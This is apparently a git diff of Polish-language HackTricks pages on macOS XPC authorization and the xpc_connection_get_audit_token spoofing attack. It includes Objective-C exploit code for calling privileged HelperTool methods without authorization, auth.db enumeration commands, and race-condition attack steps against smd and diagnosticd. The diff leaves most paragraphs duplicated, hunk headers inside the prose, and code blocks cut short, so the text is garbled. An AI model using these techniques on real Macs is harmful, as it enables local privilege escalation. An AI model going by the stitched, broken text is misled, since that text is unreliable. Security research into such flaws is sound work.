* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
## Autoryzacja XPC
Apple proponuje również inną metodę uwierzytelniania, jeśli łączący proces ma **uprawnienia do wywołania wystawionej metody XPC**.
Apple proponuje również inną metodę uwierzytelniania, czy łączący proces ma **uprawnienia do wywołania wystawionej metody XPC**.
Kiedy aplikacja potrzebuje **wykonywać działania jako uprzywilejowany użytkownik**, zamiast uruchamiać aplikację jako uprzywilejowany użytkownik, zazwyczaj instaluje jako root HelperTool jako usługę XPC, którą można wywołać z aplikacji, aby wykonać te działania. Jednak aplikacja wywołująca usługę powinna mieć wystarczającą autoryzację.
Kiedy aplikacja musi **wykonywać działania jako uprzywilejowany użytkownik**, zamiast uruchamiać aplikację jako uprzywilejowany użytkownik, zazwyczaj instaluje jako root HelperTool jako usługę XPC, którą można wywołać z aplikacji, aby wykonać te działania. Jednak aplikacja wywołująca usługę powinna mieć wystarczającą autoryzację.
### ShouldAcceptNewConnection zawsze YES
Przykład można znaleźć w [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). W `App/AppDelegate.m` próbuje **połączyć się** z **HelperTool**. A w `HelperTool/HelperTool.m` funkcja **`shouldAcceptNewConnection`** **nie będzie sprawdzać** żadnych wcześniej wymienionych wymagań. Zawsze zwróci YES:
Przykład można znaleźć w [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). W `App/AppDelegate.m` próbuje **połączyć się** z **HelperTool**. A w `HelperTool/HelperTool.m` funkcja **`shouldAcceptNewConnection`** **nie będzie sprawdzać** żadnych wymagań wskazanych wcześniej. Zawsze zwróci YES:
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@ -39,18 +39,18 @@ newConnection.exportedObject = self;
return YES;
}
```
Aby uzyskać więcej informacji na temat prawidłowej konfiguracji tej weryfikacji, odwiedź:
Aby uzyskać więcej informacji na temat właściwej konfiguracji tego sprawdzenia:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
{% endcontent-ref %}
### Prawa aplikacji
### Uprawnienia aplikacji
Jednakże, gdy wywoływana jest metoda z HelperTool, zachodzi pewne **uwierzytelnianie**.
Jednakże, zachodzi **autoryzacja, gdy wywoływana jest metoda z HelperTool**.
Funkcja **`applicationDidFinishLaunching`** z pliku `App/AppDelegate.m` tworzy puste odwołanie do uwierzytelnienia po uruchomieniu aplikacji. Powinno to zawsze działać.\
Następnie, próbuje **dodać pewne prawa** do tego odwołania uwierzytelnienia, wywołując `setupAuthorizationRights`:
Funkcja **`applicationDidFinishLaunching`** z pliku `App/AppDelegate.m` utworzy puste odwołanie do autoryzacji po uruchomieniu aplikacji. To powinno zawsze działać.\
Następnie spróbuje **dodać pewne uprawnienia** do tego odwołania autoryzacji, wywołując `setupAuthorizationRights`:
```objectivec
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
@ -74,7 +74,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self];
}
```
Funkcja `setupAuthorizationRights` z pliku `Common/Common.m` zapisze w bazie danych autoryzacji `/var/db/auth.db` uprawnienia aplikacji. Zauważ, że dodane zostaną tylko te uprawnienia, które jeszcze nie znajdują się w bazie danych:
Funkcja `setupAuthorizationRights` z pliku `Common/Common.m` zapisze w bazie danych autoryzacji `/var/db/auth.db` uprawnienia aplikacji. Zauważ, że dodane zostaną tylko te uprawnienia, które nie znajdują się jeszcze w bazie danych:
```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
To oznacza, że na końcu tego procesu uprawnienia zadeklarowane wewnątrz `commandInfo` zostaną przechowywane w `/var/db/auth.db`. Zauważ, że tam można znaleźć dla **każdej metody**, która **wymaga uwierzytelnienia**, **nazwę uprawnienia** i **`kCommandKeyAuthRightDefault`**. Ten ostatni **wskazuje, kto może uzyskać to uprawnienie**.
To oznacza, że na końcu tego procesu uprawnienia zadeklarowane wewnątrz `commandInfo` zostaną przechowywane w `/var/db/auth.db`. Zauważ, że tam można znaleźć dla **każdej metody**, która będzie **wymaga uwierzytelnienia**, **nazwę uprawnienia** i **`kCommandKeyAuthRightDefault`**. Ten ostatni **wskazuje, kto może uzyskać to uprawnienie**.
Istnieją różne zakresy, które wskazują, kto może uzyskać dostęp do danego uprawnienia. Niektóre z nich są zdefiniowane w [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (można je znaleźć [wszystkie tutaj](https://www.dssw.co.uk/reference/authorization-rights/)), ale podsumowując:
Istnieją różne zakresy wskazujące, kto może uzyskać dostęp do uprawnienia. Niektóre z nich są zdefiniowane w [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (możesz znaleźć [wszystkie z nich tutaj](https://www.dssw.co.uk/reference/authorization-rights/)), ale podsumowując:
<table><thead><tr><th width="284.3333333333333">Nazwa</th><th width="165">Wartość</th><th>Opis</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Każdy</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nikt</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Aktualny użytkownik musi być administratorem (w grupie admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Poproś użytkownika o uwierzytelnienie.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Poproś użytkownika o uwierzytelnienie. Musi być administratorem (w grupie admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Określ reguły</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Określ dodatkowe komentarze dotyczące uprawnienia</td></tr></tbody></table>
<table><thead><tr><th width="284.3333333333333">Nazwa</th><th width="165">Wartość</th><th>Opis</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Każdy</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nikt</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Aktualny użytkownik musi być administratorem (wewnątrz grupy adminów)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Poproś użytkownika o uwierzytelnienie.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Poproś użytkownika o uwierzytelnienie. Musi być administratorem (wewnątrz grupy adminów)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Określ reguły</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Określ dodatkowe komentarze dotyczące uprawnienia</td></tr></tbody></table>
### Weryfikacja uprawnień
### Weryfikacja Uprawnień
W pliku `HelperTool/HelperTool.m` funkcja **`readLicenseKeyAuthorization`** sprawdza, czy wywołujący ma uprawnienia do **wykonania takiej metody**, wywołując funkcję **`checkAuthorization`**. Ta funkcja sprawdzi, czy przesłane przez wywołujący proces **authData** ma **poprawny format**, a następnie sprawdzi, **co jest potrzebne do uzyskania uprawnienia** do wywołania konkretnej metody. Jeśli wszystko pójdzie dobrze, **zwrócony `error` będzie `nil`**:
W `HelperTool/HelperTool.m` funkcja **`readLicenseKeyAuthorization`** sprawdza, czy wywołujący ma uprawnienia do **wykonania takiej metody**, wywołując funkcję **`checkAuthorization`**. Ta funkcja sprawdzi, czy **authData** wysłane przez proces wywołujący ma **poprawny format**, a następnie sprawdzi, **co jest potrzebne do uzyskania uprawnienia** do wywołania konkretnej metody. Jeśli wszystko przebiegnie pomyślnie, **zwrócony `error` będzie `nil`**:
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -240,7 +240,7 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
Zauważ, że aby **sprawdzić wymagania, aby uzyskać prawo** do wywołania tej metody, funkcja `authorizationRightForCommand` po prostu sprawdzi wcześniej skomentowany obiekt **`commandInfo`**. Następnie wywoła **`AuthorizationCopyRights`** w celu sprawdzenia, **czy ma uprawnienia** do wywołania funkcji (zauważ, że flagi pozwalają na interakcję z użytkownikiem).
Zauważ, że aby **sprawdzić wymagania do uzyskania uprawnień** do wywołania tej metody, funkcja `authorizationRightForCommand` po prostu sprawdzi wcześniej skomentowany obiekt **`commandInfo`**. Następnie wywoła **`AuthorizationCopyRights`** aby sprawdzić, **czy ma uprawnienia** do wywołania funkcji (zauważ, że flagi pozwalają na interakcję z użytkownikiem).
W tym przypadku, aby wywołać funkcję `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` jest zdefiniowane jako `@kAuthorizationRuleClassAllow`. Więc **każdy może ją wywołać**.
@ -252,25 +252,25 @@ sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
```
Następnie możesz sprawdzić, kto ma dostęp do uprawnień za pomocą:
Następnie możesz odczytać, kto ma dostęp do uprawnień za pomocą:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
### Uprawnienia zezwalające
### Prawa przyznane
Możesz znaleźć **wszystkie konfiguracje uprawnień** [**tutaj**](https://www.dssw.co.uk/reference/authorization-rights/), ale kombinacje, które nie wymagają interakcji użytkownika, to:
1. **'authenticate-user': 'false'**
* To jest najprostszy klucz. Jeśli ustawiony na `false`, oznacza, że użytkownik nie musi podawać uwierzytelnienia, aby uzyskać to uprawnienie.
* Jest używany w **połączeniu z jednym z poniższych lub wskazaniem grupy**, do której użytkownik musi należeć.
* To jest najbardziej bezpośredni klucz. Jeśli ustawiony na `false`, oznacza, że użytkownik nie musi podawać uwierzytelnienia, aby uzyskać to prawo.
* Jest używany w **połączeniu z jednym z poniższych lub wskazując grupę**, do której użytkownik musi należeć.
2. **'allow-root': 'true'**
* Jeśli użytkownik działa jako użytkownik root (który ma podwyższone uprawnienia), a ten klucz jest ustawiony na `true`, użytkownik root może potencjalnie uzyskać to uprawnienie bez dalszego uwierzytelniania. Jednak zazwyczaj, aby uzyskać status użytkownika root, wymagane jest już uwierzytelnienie, więc to nie jest scenariusz "bez uwierzytelniania" dla większości użytkowników.
* Jeśli użytkownik działa jako użytkownik root (który ma podwyższone uprawnienia), a ten klucz jest ustawiony na `true`, użytkownik root może potencjalnie uzyskać to prawo bez dodatkowego uwierzytelnienia. Jednak zazwyczaj uzyskanie statusu użytkownika root już wymaga uwierzytelnienia, więc nie jest to scenariusz "bez uwierzytelnienia" dla większości użytkowników.
3. **'session-owner': 'true'**
* Jeśli ustawione na `true`, właściciel sesji (obecnie zalogowany użytkownik) automatycznie otrzyma to uprawnienie. Może to obejść dodatkowe uwierzytelnianie, jeśli użytkownik jest już zalogowany.
* Jeśli ustawiony na `true`, właściciel sesji (obecnie zalogowany użytkownik) automatycznie otrzyma to prawo. Może to ominąć dodatkowe uwierzytelnienie, jeśli użytkownik jest już zalogowany.
4. **'shared': 'true'**
* Ten klucz nie przyznaje uprawnień bez uwierzytelniania. Zamiast tego, jeśli ustawiony na `true`, oznacza to, że po uwierzytelnieniu uprawnienie może być udostępniane wielu procesom bez konieczności ponownego uwierzytelniania. Jednak początkowe przyznanie uprawnienia wciąż wymaga uwierzytelnienia, chyba że jest połączone z innymi kluczami, takimi jak `'authenticate-user': 'false'`.
* Ten klucz nie przyznaje praw bez uwierzytelnienia. Zamiast tego, jeśli ustawiony na `true`, oznacza to, że po uwierzytelnieniu prawa można udostępnić wielu procesom bez konieczności ponownego uwierzytelniania. Jednak początkowe przyznanie prawa nadal będzie wymagać uwierzytelnienia, chyba że jest połączone z innymi kluczami, takimi jak `'authenticate-user': 'false'`.
Możesz [**użyć tego skryptu**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9), aby uzyskać interesujące uprawnienia:
Możesz [**użyć tego skryptu**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9), aby uzyskać interesujące prawa:
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -283,15 +283,15 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
```
## Odwracanie autoryzacji
### Sprawdzanie, czy używane jest EvenBetterAuthorization
### Sprawdzanie, czy jest używane EvenBetterAuthorization
Jeśli znajdziesz funkcję: **`[HelperTool checkAuthorization:command:]`**, prawdopodobnie proces używa wcześniej wspomnianego schematu autoryzacji:
Jeśli znajdziesz funkcję: **`[HelperTool checkAuthorization:command:]`**, to prawdopodobnie proces używa wcześniej wspomnianego schematu autoryzacji:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jeśli ta funkcja wywołuje funkcje takie jak `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, to używa [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
Sprawdź **`/var/db/auth.db`**, aby sprawdzić, czy można uzyskać uprawnienia do wywołania pewnej uprzywilejowanej akcji bez interakcji użytkownika.
Sprawdź **`/var/db/auth.db`**, aby sprawdzić, czy można uzyskać uprawnienia do wywołania pewnej akcji uprzywilejowanej bez interakcji użytkownika.
### Komunikacja protokołowa
@ -303,7 +303,7 @@ Funkcja **`shouldAcceptNewConnection`** wskazuje na eksportowany protokół:
W tym przypadku mamy to samo co w EvenBetterAuthorizationSample, [**sprawdź tę linię**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Znając nazwę używanego protokołu, możliwe jest **wydrukowanie definicji jego nagłówka** za pomocą:
Znając nazwę używanego protokołu, można **wydrukować jego definicję nagłówka** za pomocą:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -317,9 +317,9 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@end
[...]
```
Na koniec musimy znać **nazwę wystawionego usługi Mach**, aby nawiązać z nią komunikację. Istnieje kilka sposobów, aby to znaleźć:
Ostatecznie musimy poznać **nazwę wystawionego usługi Mach**, aby nawiązać z nią komunikację. Istnieje kilka sposobów na jej znalezienie:
* W **`[HelperTool init]`**, gdzie można zobaczyć używaną usługę Mach:
* W **`[HelperTool init()]`**, gdzie można zobaczyć używaną usługę Mach:
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -336,12 +336,12 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
</dict>
[...]
```
### Przykład wykorzystania
### Przykład Wykorzystania
W tym przykładzie zostaje utworzone:
W tym przykładzie jest utworzone:
* Definicja protokołu z funkcjami
* Pusta autoryzacja do użycia w celu żądania dostępu
* Pusta autoryzacja do użycia w celu uzyskania dostępu
* Połączenie z usługą XPC
* Wywołanie funkcji, jeśli połączenie było udane
```objectivec
@ -421,20 +421,20 @@ NSLog(@"Response: %@", error);
NSLog(@"Finished!");
}
```
## Odwołania
## Odnośniki
* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>

View file

@ -1,117 +1,4 @@
# Atak xpc\_connection\_get\_audit\_token na macOS
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
**Aby uzyskać więcej informacji, sprawdź oryginalny post: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)**. Oto streszczenie:
## Podstawowe informacje o komunikacji międzyprocesowej Mach
Jeśli nie wiesz, czym są komunikaty Mach, zacznij od sprawdzenia tej strony:
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
Na razie pamiętaj, że ([definicja stąd](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Komunikaty Mach są wysyłane przez _port Mach_, który jest kanałem komunikacji **jednego odbiorcy, wielu nadawców**, wbudowanym w jądro Mach. **Wiele procesów może wysyłać wiadomości** do portu Mach, ale w dowolnym momencie **tylko jeden proces może z niego czytać**. Podobnie jak deskryptory plików i gniazdka, porty Mach są przydzielane i zarządzane przez jądro, a procesy widzą tylko liczbę całkowitą, którą mogą użyć, aby wskazać jądrze, który z ich portów Mach chcą użyć.
## Połączenie XPC
Jeśli nie wiesz, jak nawiązać połączenie XPC, sprawdź:
{% content-ref url="../" %}
[..](../)
{% endcontent-ref %}
## Podsumowanie podatności
Warto wiedzieć, że **abstrakcja XPC to połączenie jeden do jednego**, ale oparte jest na technologii, która **może mieć wiele nadawców, więc:**
* Porty Mach są jednym odbiorcą, **wieloma nadawcami**.
* Token audytu połączenia XPC to token audytu **skopiowany z ostatnio otrzymanej wiadomości**.
* Uzyskanie **tokena audytu** połączenia XPC jest kluczowe dla wielu **kontroli bezpieczeństwa**.
Chociaż poprzednia sytuacja wydaje się obiecująca, istnieją pewne scenariusze, w których to nie spowoduje problemów ([stąd](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Tokeny audytu są często używane do sprawdzenia autoryzacji w celu zdecydowania, czy zaakceptować połączenie. Ponieważ dzieje się to za pomocą wiadomości do portu usługi, **jeszcze nie zostało nawiązane połączenie**. Więcej wiadomości na tym porcie będzie po prostu obsługiwanych jako dodatkowe żądania połączenia. Więc **kontrole przed zaakceptowaniem połączenia nie są podatne** (to oznacza również, że wewnątrz `-listener:shouldAcceptNewConnection:` token audytu jest bezpieczny). Szukamy więc **połączeń XPC, które weryfikują konkretne działania**.
* Obsługiwane są procedury obsługi zdarzeń XPC. Oznacza to, że procedura obsługi zdarzeń dla jednej wiadomości musi zostać zakończona przed jej wywołaniem dla następnej, nawet na równoległych kolejkach dystrybucji. Więc wewnątrz **procedury obsługi zdarzeń XPC token audytu nie może zostać nadpisany** przez inne normalne (nie-odpowiedziowe!) wiadomości.
Istnieją dwa różne sposoby, w jakie można wykorzystać tę podatność:
1. Wariant 1:
* **Exploit** **łączy się** z usługą **A** i usługą **B**.
* Usługa **B** może wywołać **uprzywilejowaną funkcjonalność** w usłudze A, do której użytkownik nie ma dostępu.
* Usługa **A** wywołuje **`xpc_connection_get_audit_token`** podczas **nie**-obsługi zdarzenia dla połączenia w **`dispatch_async`**.
* Więc **inna** wiadomość może **nadpisać Token Audytu**, ponieważ jest wysyłana asynchronicznie poza procedurą obsługi zdarzeń.
* Exploit przekazuje usłudze **B prawo do wysyłania** wiadomości do usługi **A**.
* Usługa **B** faktycznie **wysyła** wiadomości do usługi **A**.
* Exploit próbuje **wywołać** **uprzywilejowaną akcję**. W usłudze RC **A sprawdza** autoryzację tej **akcji**, podczas gdy **usługa B nadpisała Token Audytu** (dając exploit dostęp do wywołania uprzywilejowanej akcji).
2. Wariant 2:
* Usługa **B** może wywołać **uprzywilejowaną funkcjonalność** w usłudze A, do której użytkownik nie ma dostępu.
* Exploit łączy się z usługą **A**, która **wysyła** exploitowi wiadomość oczekującą na odpowiedź w określonym **porcie odpowiedzi**.
* Exploit wysyła usłudze **B** wiadomość przekazującą **ten port odpowiedzi**.
* Gdy usługa **B odpowiada**, wysyła wiadomość do usługi **A**, **podczas gdy** exploit wysyła inną **wiadomość do usługi A**, próbując **osiągnąć uprzywilejowaną funkcjonalność** i oczekując, że odpowiedź od usługi B nadpisze Token Audytu w idealnym momencie (Race Condition).
## Wariant 1: wywołanie
4. Następny krok polega na poleceniu `diagnosticd` rozpoczęcia monitorowania wybranego procesu (potencjalnie procesu użytkownika). Jednocześnie wysyłane jest dużo rutynowych wiadomości 1004 do `smd`. Celem jest zainstalowanie narzędzia z podwyższonymi uprawnieniami.
5. Ta czynność wywołuje warunkowe wyścigi w funkcji `handle_bless`. Ważne jest, aby wywołanie funkcji `xpc_connection_get_pid` zwróciło PID procesu użytkownika (ponieważ narzędzie z podwyższonymi uprawnieniami znajduje się w pakiecie aplikacji użytkownika). Jednak funkcja `xpc_connection_get_audit_token`, a konkretnie podprogram `connection_is_authorized`, musi odnosić się do tokenu audytu należącego do `diagnosticd`.
## Wariant 2: przekazywanie odpowiedzi
W środowisku XPC (Cross-Process Communication) obsługa komunikatów odpowiedzi ma unikalne zachowanie, chociaż obsługa zdarzeń nie jest wykonywana równocześnie. Istnieją dwie różne metody wysyłania komunikatów, które oczekują odpowiedzi:
1. **`xpc_connection_send_message_with_reply`**: Tutaj komunikat XPC jest odbierany i przetwarzany w wyznaczonej kolejce.
2. **`xpc_connection_send_message_with_reply_sync`**: W przeciwnym razie, w tej metodzie komunikat XPC jest odbierany i przetwarzany w bieżącej kolejce dyspozytorskiej.
Ta różnica jest istotna, ponieważ umożliwia **równoczesne analizowanie pakietów odpowiedzi wraz z wykonywaniem obsługi zdarzeń XPC**. Warto zauważyć, że chociaż funkcja `_xpc_connection_set_creds` implementuje blokowanie w celu zabezpieczenia przed częściowym nadpisaniem tokenu audytu, nie rozszerza tej ochrony na cały obiekt połączenia. W rezultacie powstaje podatność, w której token audytu może zostać zastąpiony w okresie między analizą pakietu a wykonaniem jego obsługi zdarzeń.
Aby wykorzystać tę podatność, wymagane jest następujące przygotowanie:
- Dwa usługi mach, oznaczone jako **`A`** i **`B`**, obie z możliwością nawiązania połączenia.
- Usługa **`A`** powinna zawierać sprawdzenie autoryzacji dla określonej akcji, którą tylko **`B`** może wykonać (aplikacja użytkownika nie może).
- Usługa **`A`** powinna wysłać komunikat, który oczekuje odpowiedzi.
- Użytkownik może wysłać wiadomość do **`B`**, na którą odpowie.
Proces wykorzystania tej podatności obejmuje następujące kroki:
1. Oczekiwanie na wysłanie przez usługę **`A`** komunikatu, który oczekuje odpowiedzi.
2. Zamiast bezpośredniego odpowiedzenia na **`A`**, port odpowiedzi jest przejęty i używany do wysłania wiadomości do usługi **`B`**.
3. Następnie wysyłana jest wiadomość dotycząca zabronionej akcji, z oczekiwaniem, że zostanie przetworzona równocześnie z odpowiedzią od **`B`**.
Poniżej przedstawiono wizualne przedstawienie opisanego scenariusza ataku:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Problemy z odkrywaniem
- **Trudności w lokalizacji instancji**: Wyszukiwanie użycia `xpc_connection_get_audit_token` było trudne zarówno statycznie, jak i dynamicznie.
- **Metodologia**: Do przechwycenia funkcji `xpc_connection_get_audit_token` użyto narzędzia Frida, filtrowano wywołania niepochodzące od obsługi zdarzeń. Jednak ta metoda była ograniczona do przechwyconego procesu i wymagała aktywnego użycia.
- **Narzędzia analizy**: Narzędzia takie jak IDA/Ghidra były używane do badania dostępnych usług mach, ale proces był czasochłonny i komplikowany przez wywołania związane z pamięcią podręczną dyld.
- **Ograniczenia skryptów**: Próby zautomatyzowania analizy wywołań `xpc_connection_get_audit_token` z bloków `dispatch_async` były utrudnione przez złożoność analizy bloków i interakcje z pamięcią podręczną dyld.
## Naprawa <a href="#the-fix" id="the-fix"></a>
- **Zgłoszone problemy**: Zgłoszono raport do Apple, w którym opisano ogólne i konkretne problemy związane z `smd`.
- **Odpowiedź Apple**: Apple rozwiązało problem w `smd`, zamieniając `xpc_connection_get_audit_token` na `xpc_dictionary_get_audit_token`.
- **Charakter naprawy**: Funkcja `xpc_dictionary_get_audit_token` jest uważana za bezpieczną, ponieważ pobiera token audytu bezpośrednio z wiadomości mach powiązanej z otrzymaną wiadomością XPC. Jednak nie jest częścią publicznego interfejsu API, podobnie jak `xpc_connection_get_audit_token`.
- **Brak szerszej naprawy**: Niejasne jest, dlaczego Apple nie zaimplementowało bardziej kompleksowej naprawy, takiej jak odrzucanie wiadomości niezgodnych z zapisanym tokenem audytu połączenia. Może to być spowodowane możliwością zmiany prawidłowego tokenu audytu w określonych scenariuszach (np. przy użyciu `setuid`).
- **Aktualny status**: Problem nadal występuje w iOS 17 i macOS 14, co stanowi wyzwanie dla osób starających się go zidentyfikować i zrozumieć.
# Atak macOS xpc\_connection\_get\_audit\_token
<details>
@ -119,10 +6,130 @@ Poniżej przedstawiono wizualne przedstawienie opisanego scenariusza ataku:
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
